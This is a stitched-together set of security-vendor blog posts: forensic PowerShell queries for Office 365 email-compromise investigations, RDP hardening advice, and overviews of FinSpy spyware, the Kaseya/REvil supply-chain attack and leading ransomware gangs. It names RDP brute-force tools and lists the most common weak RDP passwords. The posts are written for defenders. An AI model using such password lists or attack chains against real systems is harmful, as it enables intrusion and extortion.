Using the Helix query transforms groupby < [srccountry,srcregion] , groupby < useragent and groupby < srcipv4 , which highlight the least common geolocations, User Agent strings, and IP addresses, can also assist in identifying anomalies in results.
Querying UAL for a user in Helix: class=ms_office365
username=user@client.com | table
[createdtime, action, username, srcipv4, srccountry, srcregion, useragent, rawmsg] | groupby < [srccountry,srcregion] Querying UAL for a user in PowerShell: Search-UnifiedAuditLog
-StartDate mm/dd/yyyy -EndDate
(Get-Date)
-ResultSize 5000
-UserIds user@client.com
| Export-CSV \\path\\to\\file.csv –NoTypeInformation -Encoding utf8 Querying MAL for a user in PowerShell: Search-MailboxAuditLog -Identity user@client.com
-LogonTypes
Owner,Delegate,Admin -ShowDetails -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) | Export-CSV \\path\\to\\file.csv –NoTypeInformation -Encoding utf8 Querying Admin Audit Log for all events within a certain date in PowerShell: Search-AdminAuditLog -StartDate mm/dd/yyyy -EndDate mm/dd/yyyy | Export-CSV \\path\\to\\file.csv –
NoTypeInformation -Encoding utf8 Query UAL with New Leads Now that we’ve built a list of suspicious IP addresses (or even entire CIDR ranges) and User-Agent strings, we’ll run new queries against the entire UAL to try to identify other compromised user accounts.
We’ll repeat this step and the previous step for each newly identified user account.
One advantage to using FireEye Helix platform over PowerShell is that we can query entire CIDR ranges.
This is helpful when we observe attackers coming from a VPN or ISP that dynamically assigns IP addresses within the same address block.
Queries for attacker User-Agent strings usually generate more noise to sift through than IP address searches.
In practice, User-Agent queries are only beneficial if the attackers are using an uncommon browser or version of a browser.
Due to limitations of the Search-UnifiedAuditLog cmdlet, we’ve had the most success using the FreeText parameter and searching for simple strings.
In Helix: class=ms_office365 (srcipv4:[1.2.3.4, 2.3.4.0/24] OR useragent:Opera) | table [createdtime, action, username, srcipv4, srccountry, srcregion, useragent, rawmsg] | groupby username Querying the UAL for IPs and user agents in PowerShell: Search-UnifiedAuditLog
-StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000
-IPAddresses 1.2.3.4, 2.3.4.5 | Export-CSV \\path\\to\\file.csv –NoTypeInformation -Encoding utf8 Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000
-FreeText \"Opera\" | Export-CSV \\path\\to\\file.csv –NoTypeInformation -Encoding utf8 Analyze Message Traces We’ll use PowerShell to query message traces for the compromised users we’ve identified.
If the email was sent within the past 10 days, use the Get-MessageTrace cmdlet, which immediately returns results and allows teams to query IP addresses.
For older emails, use the Start-HistoricalSearch cmdlet and download the report later from the Mail Flow section of the Security & Compliance center.
Querying for the last 10 days of mail sent by the victim in PowerShell: Get-MessageTrace -StartDate (Get-Date).AddDays(-10) -EndDate (Get-Date) -SenderAddress
victim@client.com
| Select-Object Received, SenderAddress, RecipientAddress, Subject, Status, FromIP, Size, MessageID | Export-CSV \\path\\to\\file.csv –NoTypeInformation -Encoding utf8 Querying for older emails (up to 90 days) in PowerShell: Start-HistoricalSearch -ReportTitle
\"Mandiant O365 investigation\" -StartDate mm/dd/yyyy -EndDate mm/dd/yyyy
-ReportType
MessageTraceDetail -SenderAddress
victim@client.com
As Message Trace results are reviewed, attention should be given to IP addresses to determine which emails were sent by attackers.
If phishing was the suspected initial compromise vector, it’s a good idea to also query for incoming mail received within a few days prior to the first compromise date and look for suspicious sender addresses and/or subject lines.
Acquire Emails of Interest With our list of suspicious emails identified from message traces, we’ll use the Content Search tool available in the Office 365 Security and Compliance Center acquire the email body and learn what domains were used in phishing lures (if phishing was present).
Content Searches are performed by using a straightforward GUI, and the results can either be previewed in the browser, downloaded individually as EML files, or downloaded in bulk as PST files.
Final Scoping At this point of our investigation, the BEC should be sufficiently scoped within the tenant.
To ensure any follow-on activity hasn’t occurred, we’ll take all of the attack indicators and perform our final queries across the UAL.
With that said, there are still edge cases in which attacker activity wouldn’t appear in O365 logs.
For example, perhaps an additional user has submitted their credentials to a phishing page, but the attackers haven’t used them to log in yet.
To ensure we don’t miss this activity, we’ll perform additional scoping across available network logs, specifically for IP addresses and domains related to the attacker’s phishing infrastructure.
We’ll also leverage other FireEye products, such as the Endpoint Security platform, to search for phishing domains present on a host’s web browser history.
Conclusion Unauthorized access to O365 tenant doesn’t just pose a threat to an organization, but also to its staff and business partners.
Organizations without enhanced security controls in O365 are at the greatest risk of experiencing a BEC.
However, as multi factor-authentication becomes more and more commonplace, we’ve witnessed an increase of MFA bypass attempts performed by increasingly proficient attackers.
It’s important to remember that social engineering plays a primary role throughout a BEC.
Ensure that users are trained on how to identify credential harvesting forms, a common compromise vector.
When in the midst of a BEC compromise, teams may want to promptly alert personnel in HR and finance-related roles to exercise extra caution when processing requests related to banking or wire transfers while the investigation is in progress.
The examples covered in this blog post are just a sample of what Managed Defense performs while investigating an Office 365 compromise.
To take a proactive approach at preventing BECs, make sure the following best practices are implemented in a O365 tenant.
Additionally, FireEye Email Security offers protections against phishing and the Helix platform’s O365 ruleset can alert on anomalous activity as soon as it happens.
Recommended Best Practices Ensure mailbox audit logging is enabled on all accounts Disable Legacy Authentication protocols Enable multi-factor authentication (MFA) Enforce strong passwords and a password expiration policy Forward O365 audit logs to a centralized logging platform for extended retention Enforce an account lockout policy in Azure/on-premise Active Directory Restrict mail forwarding to external domains Acknowledgements Special thanks to Doug Bienstock, Glenn Edwards, Josh Madeley, and Tim Martin for their research and assistance on the topic.
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By Darren Fitzpatrick , John Fokker and Eamonn Ryan on Jun 24, 2019 RDP on the Radar Recently, McAfee released a blog related to the wormable RDP vulnerability referred to as CVE-2019-0708 or “Bluekeep.”
The blog highlights a particular vulnerability in RDP which was deemed critical by Microsoft due to the fact that it exploitable over a network connection without authentication.
These attributes make it particularly ‘wormable’ – it can easily be coded to spread itself by reaching out to other accessible networked hosts, similar to the famous EternalBlue exploit of 2017.
This seems particularly relevant when (at the time of writing) 3,865,098 instances of port 3389 are showing as open on Shodan.
Prior to this, RDP was already on our radar.
Last July, McAfee ATR did a deep dive on Remote Desktop Protocol (RDP) marketplaces and described the sheer ease with which cybercriminals can obtain access to a large variety of computer systems, some of which are very sensitive.
One of the methods of RDP misuse that we discussed was how it could aid deploying a targeted ransomware campaign.
At that time one of the most prolific targeted ransomware groups was SamSam.
To gain an initial foothold on its victims’ networks, SamSam would often rely on weakly protected RDP access.
From its RDP launchpad, it would proceed to move laterally through a victim’s network, successfully exploiting and discovering additional weaknesses, for instance in a company’s Active Directory (AD).
In November 2018, the FBI and the Justice department indicted two Iranian men for developing and spreading the SamSam ransomware extorting hospitals, municipalities and public institutions, causing over $30 million in losses.
Unfortunately, this did not stop other cybercriminals from using similar tactics, techniques and procedures (TTPs).
The sheer number of vulnerable systems in the wild make it a “target” rich environment for cybercriminals.
In the beginning of 2019 we dedicated several blogs to the Ryuk ransomware family that has been using RDP as an initial entry vector.
Even though RDP misuse has been around for many years, it does seem to have gained an increased popularity amongst criminals focused on targeted ransomware.
Recent statistics showed that RDP is the most dominant attack vector , being used in 63.5% of disclosed targeted ransomware campaigns in Q1 of 2019.
Source:
Coveware Q1 statistics Securing RDP Given the dire circumstances highlighted above it is wise to question if externally accessible RDP is an absolute necessity for any organization.
It is also wise to consider how to better secure RDP if you are absolutely reliant on it.
The good news is there are several easy steps that help an organization to better secure RDP access.
That is why, in this blog, we will use the adversarial knowledge from the McAfee ATR red team to explain what easy measures can be undertaken to harden RDP access.
Recommendations are additional to standard systems hygiene which should be carried out for all systems (although it becomes more important for Internet connected hosts), such as keeping all software up-to-date, and we intentionally avoid ‘security through obscurity’ items such as changing the RDP port number.
Do not allow RDP connections over the open Internet To be very clear… RDP should never be open to the Internet.
The internet is continuously being scanned for open port 3389 (the default RDP port).
Even with a complex password policy and multi-factor authentication you can be vulnerable to denial of service and user account lockout.
A much safer alternative is to use a Virtual Private Network (VPN).
A VPN will allow a remote user to securely access their corporate network without exposing their computer to the entire Internet.
The connection is mutually encrypted, providing authentication for both client and server, preferably using a dual factor, while creating a secure tunnel to the corporate network.
As you only have access to the network you will still need to RDP to the computer but can do so more securely without exposing it to the internet.
Use Complex Passwords An often-used alternative acronym for RDP is “Really Dumb Passwords.”
That short phrase encapsulates the number one vulnerability of RDP systems, simply by scanning the internet for systems that accept RDP connections and launching a brute-force attack with popular tools such as, ForcerX, NLBrute, Hydra or RDP Forcer to gain access.
Using complex passwords will make brute-force RDP attacks harder to succeed.
Below are the top 15 passwords used on vulnerable RDP systems.
We built this list based on information on weak passwords shared by a friendly Law Enforcement Agency from taken down RDP shops.
What is most shocking is the fact that there is such a large number of vulnerable RDP systems did not even have a password.
The TOP 15 used passwords on vulnerable RDP systems [no password] 123456 P@ssw0rd 123 Password1 1234 password 1 12345 Password123 admin test test123 Welcome1
scan Use Multi-Factor Authentication
In addition to a complex password, it is best practice use multi-factor authentication.
Even with great care and diligence, a username and password can still be compromised.
If legitimate credentials have been compromised, multi-factor authentication adds an additional layer of protection by requiring the user to provide a security token, e.g.
a code received by notification or a biometric verification.
Better yet, a FIDO based authentication device can provide an extra factor which is not vulnerable to spoofing attacks, in a similar fashion to other one-time-password (OTP) mechanisms.
This increases the difficulty for an unauthorized person to gain access to the computing device.
Use an RDP Gateway Recent versions of Windows Server provide an RDP gateway server.
This provides one external interface to many internal RDP endpoints, thus simplifying management, including many of the items outlined in the following recommendations.
These comprise of logging, TLS certificates, authentication to the end device without actually exposing it to the Internet, authorization to internal host and user restrictions, etc.
Microsoft provides detailed instructions for configuration of remote desktop gateway server, for Windows Server 2008 R2 as an example, over here .
Lock out users and block or timeout IPs that have too many failed logon attempts A high number of failed logon attempts is a strong indication of a brute force attack.
Limiting the number of logon attempts per user can prevent such attacks.
A failed logon attempt is logged under Windows Event ID 4625.
An RDP logon falls under logon type 10, RemoteInteractive.
The account lockout threshold can be specified in the local group policy under security settings: Account Policies.
For logging purposes, it is best to log both failed and successful logons.
Additionally, it is important to note that “specific security layer for RDP connections” needs to be enabled.
Otherwise, you will be unable to tell that the logon attempt came over RDP or see the source IP address.
A comparison is shown below.
Event log network logon (type 3) note no source network address Event log RDP logon (type 10) note the source network address present Use a Firewall to restrict access Firewall rules can be created to restrict Remote Desktop access so that only a specific IP address or a range of IP addresses can access a given device.
This can be achieved by simply opening “Windows Firewall with Advanced Security,” clicking on Inbound Rules and scrolling down to the RDP rule.
A screen shot can be seen below.
Firewall settings for inbound RDP connections Enable Restricted Admin Mode
When connecting to a remote machine via RDP, credentials are stored on that machine and may be retrievable by other users of the systems (e.g.
malicious attackers).
Microsoft has added restricted admin mode which instructs the RDP server not to store credentials of users who log in.
Behind the scenes, the server now uses ‘network’ login rather than ‘interactive’ and therefore uses hashes or Kerberos tickets rather than passwords for authentication.
Assessment of the pros and cons of this option are recommended before enabling in your environment.
On the negative side, the use of network login exposes the possibility of credential reuse (pass the hash) attacks against the RDP server.
Pass the hash is likely possible anyway, internally, via other exposed ports so may not significantly increase exposure there, but when including this option to Internet servers, where other ports are likely (and should be!)
restricted, pass the hash is then extended to the Internet.
Given the pros and cons, avoiding internal escalation of privilege is often prioritized and therefore restricted admin mode is enabled.
Microsoft TechNet describes configuration and usage of restricted mode here .
Encryption There are four levels of encryption supported by standard RDP: Low, Client Compatible, High, and FIPS
Complian t. This is configured on the Remote Desktop server.
This can be further improved upon by using Enhanced RDP Security.
When Enhanced RDP security is used, encryption and server authentication are implemented by external security protocols, e.g.
TLS or CredSSP.
One of the key benefits of Enhanced RDP Security is that it enables the use of Network Level Authentication (NLA) when using CredSSP as the external security protocol.
Certificate management is always a complexity, but Microsoft does provide this through the use of Active Directory Certificate Services (ADCS) .
Certificates can be pushed using Group Policy Objects (GPO) where this is available.
Incompatible operating system environments must import certificates via the web interface exposed at https://<server>/Certsrv.
Enable Network Level Authentication (NLA)
To reduce the amount of initially required server resources, and thereby mitigate against denial of service attacks, network level authentication (NLA) can be used.
Within this mode, strong authentication takes place before the remote desktop connection is established, using the Credential Security Support Provider (CredSSP) either through TLS or Kerberos.
NLA can also help to protect against man-in-the-middle attacks, where credentials are intercepted.
However, be aware that NLA over NTLM does not provide strong authentication and should be disabled in favor of NLA over TLS (with valid certificates).
Microsoft TechNet describes configuration and usage of NLA in Windows Server 2008 R2 here .
Interestingly, BlueKeep, mentioned above, is partially mitigated by having NLA enabled.
As reported by Microsoft in the associated advisory “With NLA turned on, an attacker would first need to authenticate to Remote Desktop Services using a valid account on the target system before the attacker could exploit the vulnerability.”
Restrict users who can logon using RDP All administrators can use RDP by default.
Remote access should be limited to only the accounts that require it.
If all administrators do not need remote access you should consider removing the Administrator account from the RDP access group.
You can then add the specific users which require access to the “Remote Desktop Users” group.
See here for more information on managing users in your RDS collection.
Minimize the Number of Local Administrator Accounts Local administrator accounts provide an attack vector for attackers who gain access to a system.
Credentials can be cracked offline and more accounts means more likelihood of a successful crack.
Therefore, you should aim for a maximum of one local administrator account which is secured appropriately.
Ensure that Local Administrator Accounts are Unique If the local administrator accounts match those assigned to their counterparts on other systems within the server’s internal network, the attacker can potentially re-use credentials to move laterally.
This issue occurs quite frequently, so Microsoft provided Local Administrator Password Solution (LAPS) as a means to avoid this scenario across the organization with central management of unique local administrator credentials.
This is particularly relevant for externally exposed systems.
Microsoft provides a download and usage information for LAPS here .
Limit Domain Administrator Account Access Accounts within the domain admins group have full control of the domain by default, by virtue of being part of the administrators group for all domain controllers, domain workstations and domain member servers.
If a credential for a domain admin account is retrieved from the RDP server, the attacker now holds the ‘keys to the kingdom’ and is in full control of the entire domain.
You should reduce the amount of domain administrators within the organization in general and avoid accessing the RDP server or other externally exposed systems via these accounts, to avoid inadvertently making credentials accessible.
In general, ‘least privilege’ administration models should be used.
Microsoft provides guidance in this area, including how best to use domain admin accounts, here .
Consider Placement Within the Network Where possible, RDP servers should be placed within a DMZ or other restricted area of the network.
The idea here is that if an attack is successful, its scope is reduced and confined to the RDP server alone.
Often RDP is exposed specifically to allow external users onto the network, so this may not be a feasible solution, however it should be considered and the quantity of services reachable within the internal network should be minimized.
Consider using an account-naming convention that does not reveal organizational information There are many options for account naming conventions, ranging from firstname.lastname to not deriving usernames from name data; all having their pros and cons.
However, some of the more commonly used account naming conventions such as firstname.lastname, make it very easy to guess usernames and email addresses.
This can be a security concern as spammers and hackers will readily use this information.
Conclusion When trying to run an efficient IT organization, having remote access to certain computer systems might be essential.
Unfortunately, when not implemented correctly, the tools that make remote access possible also open your systems up to unwanted guests.
In the last few years there have been far too many examples of where vulnerable RDP access gave way to a full-scale network compromise.
In this article we have shown that RDP access can be hardened with some easy steps.
Please take the time to review your RDP security posture.
At Kaspersky’s recent Security Analyst Summit , our experts presented a detailed report on FinSpy (aka FinFisher) spyware and its distribution methods, including some previously unknown ones.
You can read more about their findings in Securelist’s post .
In this article, meanwhile, we explore what kind of malware FinSpy is and how you can protect yourself from it.
What is FinSpy (FinFisher)?
A commercial spyware program used by law enforcement and government agencies worldwide, FinSpy first lit up researchers’ radar in 2011, when documents related to it appeared on WikiLeaks.
Source code appeared online in 2014, but FinSpy’s story didn’t end there: After a redevelopment and to this day, the malware continues to infect devices around the world.
FinSpy is versatile, with versions for computers running Windows, macOS, and Linux, as well as mobile devices with Android and iOS .
Its capabilities vary depending on the platform, but in all cases the malware employs various means to transmit bundles of data about them covertly to its handlers.
How FinSpy spreads The spyware has several ways to infiltrate Windows machines.
For example, it can hide in infected distribution packages including installers for TeamViewer, VLC Media Player, WinRAR, and others.
Downloading and running the modified application sets in motion a multistep infection chain .
Additionally, our researchers found the malware loader in components that load before the operating system: UEFI (Unified Extensible Firmware Interface, the interface through which the operating system communicates with the hardware) and MBR (Master Boot Record, needed to start Windows).
Either way, simply booting up the computer installs FinSpy.
A smartphone or tablet can pick up FinSpy through a link in a text message.
In some cases (for example, if the victim’s iPhone is not jailbroken ), the attacker may need physical access to the device, which somewhat complicates the task.
Also, it seems that physical access is necessary for the attackers to infect Linux machines, but we cannot say for sure.
What data does FinSpy steal?
FinSpy has extensive user-surveillance capabilities.
For example, PC versions of the malware can: Turn on the microphone and record or transmit everything it hears; Record or transmit in real time everything the user types on the keyboard; Turn on the camera and record or transmit images from it; Steal files the user interacts with: accesses, modifies, prints, receives, deletes, and so forth; Take screenshots or capture a section of the screen the user clicks; Steal e-mails from the Thunderbird, Outlook, Apple Mail, and Icedove clients; Intercept contacts, chats, calls, and files in Skype.
In addition, the Windows version of FinSpy can eavesdrop on VoIP calls, intercept certificates and encryption keys for certain protocols, and download and run forensic data collection tools.
On top of all that, the Windows version of FinSpy can infect BlackBerry smartphones, so even that now-exotic platform is not overlooked.
As for the mobile versions of FinSpy , they can listen and record calls (voice or VoIP), read text messages, and monitor user activity in instant messaging apps such as WhatsApp, WeChat, Viber, Skype, Line, Telegram, Signal, and Threema.
The mobile spyware also sends the operators a list of the victim’s contacts, calls, calendar events, geolocation data, and much more.
How to avoid FinSpy
Unfortunately, it is not easy to protect yourself completely from government-level spyware.
That said, you can take some precautions against FinSpy and other surveillance apps: Download apps only from trusted sources, whether for mobile or desktop or laptop programs.
Additionally, Android users should forbid installation from unknown sources to reduce their chances of infection; Stop and think before you click on links in e-mails and messages from strangers.
If you must click, first carefully check where the link leads; Don’t jailbreak your smartphone or tablet; Android rooting and iOS jailbreaking make break-ins much easier; Don’t leave devices unattended where strangers have access; Install reliable protection on all of your devices.
On July 2, 2021, Kaseya customers were notified of a compromise affecting the company’s VSA product in a way that poisoned the product’s update mechanism with malicious code.
VSA is a remote monitoring and management tool for networks and endpoints intended for use by enterprise customers and managed service providers (MSPs).
According to Kaseya, it urged customers to shut down the VSA to prevent attackers from gaining remote access to further assets.
Kaseya also shut down the cloud version of VSA and all SaaS servers as a precautionary measure.
Although it was initially believed that only 50 companies using VSA on-premises were targeted, the evolving situation reveals more potential victims as numbers climb to the tune of 1,500-2,000 companies likely exposed to downstream impact by this major attack.
The number of potential victims can be so much larger because Kaseya’s customers themselves are MSPs who serve a customer base of their own.
Consequently, those who rely on VSA to deliver remote-monitoring services can also be impacted by the attack.
It has not been long since the world had to reckon with major supply chain attacks that call to mind the devastating SolarWinds’ Orion breach and the Accelion attacks in which one poisoned software update infected a fleet of customers.
Right ahead of the United States’ Independence Day holiday weekend, REvil ransomware gang affiliates managed to launch what appears to be a premeditated attack that took a page out of the same playbook, wreaking havoc across the globe.
This time, the software update was Kaseya’s VSA remote management tool, which was poisoned with malicious code that launched a chain of events ending with an infection by the group’s ransomware.
Some portion of REvil actors are believed to be based in Russia and other parts of Eastern Europe.
The gang opened with a $70M ransom demand and later lowered it to $50M for the release of a decryptor that would apply to all the affected victims.
How Did Attackers Get in?
Threat actors affiliated with REvil ransomware were able to leverage a zero-day file upload and code injection vulnerability in Kaseya VSA’s on-prem solution.
What’s been reported as CVE-2021-30116 was the security vulnerability the attackers exploited for their initial foothold.
This flaw allowed for an authentication bypass and for executing arbitrary commands, which later helped attackers download and distribute a malicious loader masquerading as a VSA update to victim systems with VSA agents installed.
It is suspected that more than one security flaw enabled the attack to reach its objectives.
IBM X-Force’s Threat Intelligence Index shows that the most common entry point to organizations has been exploitation tactics, surpassing phishing and the use of stolen credentials.
In cases where a VSA server is exposed to internet, any known vulnerability could be weaponized and leveraged by attackers to potentially breach it from a remote location.
The compromised VSA agents then launched a PowerShell command that disabled anti-malware protections, then installed and executed the REvil ransomware payload.
The ransomware encrypted data across devices it infected, rendering it impossible to access .
The supply chain attack currently unfolding was most probably planned well ahead of the time it was actively launched over the long holiday weekend.
Many major attacks, especially those that rely on ransomware or destructive malware, are carefully planned ahead of time and unleashed when security teams are not working in full capacity.
Who Has Been Impacted?
Researchers say that the number of victims is rising over time.
At the time of this writing, at least 1,000 organizations have seen some impact by the attack and its consequences to their business continuity.
One of the victims notably impacted by this attack has been a Swedish supermarket chain, “Coop”.
With over 800 physical grocery stores, many of which were shut down after the attack, it is not yet clear when recovery could allow for Coop to fully resume operations.
Organizations in several industries have reported issues, with victims identified in government, professional services, retail, and wholesale, to name a few.
Companies are hailing from across the globe, including the U.K., South Africa, Canada, Argentina, Mexico, Indonesia, New Zealand, and Kenya.
Since the situation continues to evolve, these details may change over time.
What Are the Criminals Demanding?
REvil initially published a ransom demand on their “Happy Blog” accessible through a TOR browser asking for $70M in Bitcoin to release a decryptor that would help all related victims unlock files encrypted in the attack.
Figure 1:
REvil’s post to their “Happy Blog” Dark Web page Unlike the case in singular attacks, REvil members do not appear to have exfiltrated data from their victims prior to the data encryption phase.
A plausible reason could be rushing to set up the attack and worrying that data exfiltration would take very long and be an operation that could expose the gang prematurely.
Also, the amounts of data to collect post exploitation could be overwhelming.
Since data was not exfiltrated, REvil has less leverage to pressure victims to pay if they are able to recover from backups using incident response and disaster recovery plans.
The REvil gang lowered the ransom demand, going from $70M to $50M in hopes of getting paid sooner.
They allegedly also allow victims to use Monero instead of Bitcoin to pay the ransom and are willing to negotiate the price for a more specific decryptor that will unlock certain file extensions.
Some victims resorted to attempting a private negotiation with REvil, where ransom demands varied and were, in some cases, as low as $50,000.
What is Being Done to Respond to This Attack?
On July 5, Kaseya released a patch to address the vulnerability exploited in this incident: www.kaseya.com/potential-attack-on-kaseya-vsa .
Further guidance and advisories may be updated by Kaseya.
A compromise detection tool was also made available and rolled out to Kaseya customers.
CISA and the Federal Bureau of Investigation (FBI) continue to respond to the attack.
CISA warns businesses to enable and enforce multi-factor authentication for all accounts – not just privileged accounts.
CISA and FBI strongly urge affected MSPs and their customers to follow guidance published by CISA .
Guidance from the FBI was also made available on their website .
Deputy National Security Advisor for Cyber and Emerging Technology, Anne Neuberger, released a statement about the attack, urging anyone who believes their systems have been compromised in the Kaseya ransomware incident to immediately report to the Internet Crime Complaint Center at www.IC3.gov .
What is REvil, Sodinokibi?
REvil, also known as Sodin or Sodinokibi , is a ransomware-as-a-service (RaaS) malware family active since early 2019.
Third party reporting suggests REvil was developed by GandCrab authors, another RaaS malware family that claimed to retire in May 2019.
REvil has code built into the malware that prevents it from being installed on Russian language machines, which may suggest the developers reside within a Russian-speaking country and/or operate with impunity in one of these countries.
Since its debut two years ago, REvil/Sodinokibi has gained considerable momentum, locking up and even auctioning off data that belonged to companies like Travelex, Gunnebo, Brown-Forman, and the pan-Asian retail giant “The Dairy Farm Group”, to name a few.
The demand in each case is often exorbitant, asking victims for multi-million-dollar ransoms for their data: Leading cosmetics group Pierre Fabre: $25,000,000 The Dairy Farm Group: $30,000,000 New York-based law firm Grubman Shire Meiselas & Sacks: $42,000,000 Apple MacBook supplier: $50,000,000 With pressure tactics going beyond data encryption, Sodinokibi operators often steal data in advance, exfiltrate it, and then resort to extortion tactics.
Those who refuse to pay up, hoping to rely on their ability to recover data will receive threats to have sensitive, confidential data exposed publicly on the group’s Dark Web site dubbed “The Happy Blog”.
That’s also where it names and shames its victims, offering their data up for sale to the highest bidder.
The ‘double extortion’ strategy has become a common practice among organized cybercrime groups that deploy ransomware targeting organizational networks.
IOCs Analysis provided by Kaseya also provides relevant IOCs.
Those can be accessed here .
Remaining Vigilant X-Force is advising organizations to be on alert of the growing risk of ransomware attacks and to be prepared with incident response plans and a team that can escalate issues.
It is also recommended to be mindful of having offline backups, segmenting networks to limit the reach of attackers, encrypting data , and applying critical patches in a timely manner to reduce the overall risk of attacks.
Companies can benefit from testing their detection capabilities with adversary simulation and red teaming, as well as rehearse and test incident response plans to identify gaps, so they can limit the spread of an attack if and when one happens.
For ongoing updates on this situation visit the X-Force Exchange Collection .
Visit these resources with additional questions or to schedule a one-on-one consultation with an IBM subject matter expert or download the IBM Ransomware response guide .
If your organization requires immediate assistance with incident response, please contact IBM Security X-Force’s US hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034.
Over the past five years, ransomware has evolved from being a threat to individual computers to posing a serious danger to corporate networks.
Cybercriminals have stopped simply trying to infect as many computers as possible and are now targeting big victims instead.
Attacks on commercial organizations and government agencies require careful planning but can potentially lead to rewards in the tens of millions of dollars.
Ransomware gangs exploit companies’ financial clout, which tends to be far greater than that of ordinary users.
What’s more, many modern ransomware groups steal data prior to encryption, adding the threat of publication as further leverage.
For the affected company, that adds all kinds of risks, from reputational damage to problems with shareholders to fines from regulators, which often add up to more than the ransom.
According to our data, 2016 was a watershed year.
In just a few months, the number of ransomware cyberattacks on organizations tripled :
Whereas in January 2016 we recorded one incident every 2 minutes on average, by late September the interval had shrunk to 40 seconds.
Since 2019, experts have regularly observed targeted campaigns from a series of so-called big-game-hunting ransomware.
The malware operators’ own sites show attack statistics.
We used this data to compile a ranking of the most active cybercriminal groups.
1.
Maze (aka ChaCha ransomware)
Maze ransomware, first spotted in 2019 , quickly rose to the top of its malware class.
Of the total number of victims, this ransomware accounted for more than a third of attacks.
The group behind Maze was one of the first to steal data before encryption .
If the victim refused to pay the ransom, the cybercriminals threatened to publish the stolen files.
The technique proved effective and was later adopted by many other ransomware operations, including REvil and DoppelPaymer, which we discuss below.
In another innovation, the cybercriminals began reporting their attacks to the media.
In late 2019, the Maze group told Bleeping Computer about its hack of the company Allied Universal , attaching a few of the stolen files as evidence.
In its e-mail conversations with the website’s editors, the group threatened to send spam from Allied Universal’s servers, and it later published the hacked company’s confidential data on the Bleeping Computer forum.
The Maze attacks continued until September 2020, when the group began winding down its operations , although not before several international corporations, a state bank in Latin America, and a US city’s information system had already suffered from its activities.
In each of those cases, Maze operators demanded several million dollars from the victims.
2.
Conti (aka IOCP ransomware) Conti appeared in late 2019 and was very active throughout 2020, accounting for more than 13% of all ransomware victims during this period.
Its creators remain active.
An interesting detail about Conti attacks is that the cybercriminals offer the target company help with security in exchange for agreeing to pay, saying “You will get instructions how to close the hole in security and how to avoid such problems in the future + we will recommend you special software that makes the most problems to hackers.”
As with Maze, the ransomware not only encrypts, but also sends copies of files from hacked systems to ransomware operators.
The cybercriminals then threaten to publish the information online if the victim fails to comply with their demands.
Among the most high-profile Conti attacks was the hack of a school in the United States , followed by a $40 million ransom demand.
(The administration said it had been ready to pay $500,000 but would not negotiate 80 times that amount.)
3.
REvil (aka Sodin, Sodinokibi ransomware)
The first attacks by REvil ransomware were detected in early 2019 in Asia.
The malware quickly attracted the attention of experts for its technical prowess, such as its use of legitimate CPU functions to bypass security systems.
In addition, its code contained characteristic signs of having been created for lease.
In the total statistics, REvil victims make up 11%.
The malware affected almost 20 business sectors.
The largest share of victims falls to Engineering & Manufacturing (30%), followed by Finance (14%), Professional & Consumer Services (9%), Legal (7%), and IT & Telecommunications (7%).
The latter category accounted for one of the most high-profile ransomware attacks of 2019, when cybercriminals hacked several MSPs and distributed Sodinokibi among their customers.
The group currently holds the record for the largest ever known ransom demand : $50 million from Acer in March 2021.
4.
Netwalker (aka Mailto ransomware)
Of the total number of victims, Netwalker accounted for more than 10%.
Among its targets are logistics giants, industrial groups, energy corporations, and other large organizations.
In the space of just a few months in 2020, the cybercriminals hauled in more than $25 million .
Its creators seem determined to bring ransomware to the masses .
They offered to lease Netwalker to lone scammers in exchange for a slice of attack profits.
According to Bleeping Computer, the malware distributor’s share could reach 70% of the ransom, although such schemes typically pay affiliates much less.
As evidence of their intent, the cybercriminals published screenshots of large money transfers.
To make the leasing process as easy as possible, they set up a website to automatically publish the stolen data after the ransom deadline.
In January 2021, police seized Netwalker dark web resources and charged Canadian citizen Sebastien Vachon-Desjardins with obtaining more than $27.6 million from the extortion activity.
Vachon-Desjardins was in charge of finding victims, breaching them, and deploying Netwalker on their systems.
The law-enforcement operation effectively killed off Netwalker.
5.
DoppelPaymer ransomware
The last villain of our roundup is DoppelPaymer, ransomware whose victims make up about 9% in the total statistics.
Its creators made a mark with other malware too, including the Dridex banking Trojan and the now-defunct BitPaymer (aka FriedEx) ransomware, which is considered an earlier version of DopplePaymer .
So the total number of victims of this group is in fact much higher.
Commercial organizations hit by DoppelPaymer include electronics and automobile manufacturers, as well as a large Latin American oil company.
DoppelPaymer frequently targets government organizations worldwide , including healthcare, emergency, and education services.
The group also made headlines after publishing voter information stolen from Hall County, Georgia, and receiving $500,000 from Delaware County, Pennsylvania, both in the United States.
DoppelPaymer attacks continue to this day:
In February of this year, a European research body announced that it had been hacked.
Targeted attack methods Every targeted attack on a large company is the result of a long process of finding vulnerabilities in the infrastructure, devising a scenario, and selecting tools.
Then the penetration occurs, spreading malware throughout the corporate infrastructure.
Cybercriminals sometimes remain inside a corporate network for several months before encrypting files and issuing a demand.
The main paths into the infrastructure are through: Poorly secured remote access connections.
Vulnerable RDP (Remote Desktop Protocol) connections are such a common means of delivering malware that groups on the black market offer services to exploit them.
When much of the world switched to remote work, the number of such attacks skyrocketed.
This is the modus operandi of the Ryuk, REvil, and other ransomware campaigns; Server application vulnerabilities.
Attacks on server-side software give cybercriminals access to the most sensitive of data.
A recent example came in March, when ransomware DearCry attacked through a zero-day vulnerability in Microsoft Exchange.
Insufficiently protected server-side software can serve as an entry point for a targeted attack.
Security issues also crop up in enterprise VPN servers, some examples of which we saw last year; Botnet-based delivery.
To ensnare even more victims and increase profits, ransomware operators use botnets .
Zombie network operators provide other cybercriminals with access to thousands of compromised devices, which automatically look for vulnerable systems and download ransomware onto them.
That is how, for example, the Conti and DoppelPaymer ransomware spread; Supply-chain attacks.
The REvil campaign best highlights this threat vector: the group compromised an MSP provider and then distributed ransomware to its customers’ networks; Malicious attachments.
E-mails containing malicious macros in attached Word documents are still a popular option for malware delivery.
One of our Top 5 villains, NetWalker, used malicious attachments to ensnare victims — its operators sent out mailings with “COVID-19” in the subject line.
How business can stay protected Train employees in digital hygiene .
Employees should know what phishing is, never to follow links in suspicious e-mails or download files from dubious sites, and how to create, remember, and safeguard strong passwords.
Conduct regular training in information security not only to minimize incident risk, but also to mitigate damage in the event that attackers still manage to penetrate the network; Regularly update all operating systems and applications to ensure maximum protection against attacks through known software vulnerabilities.
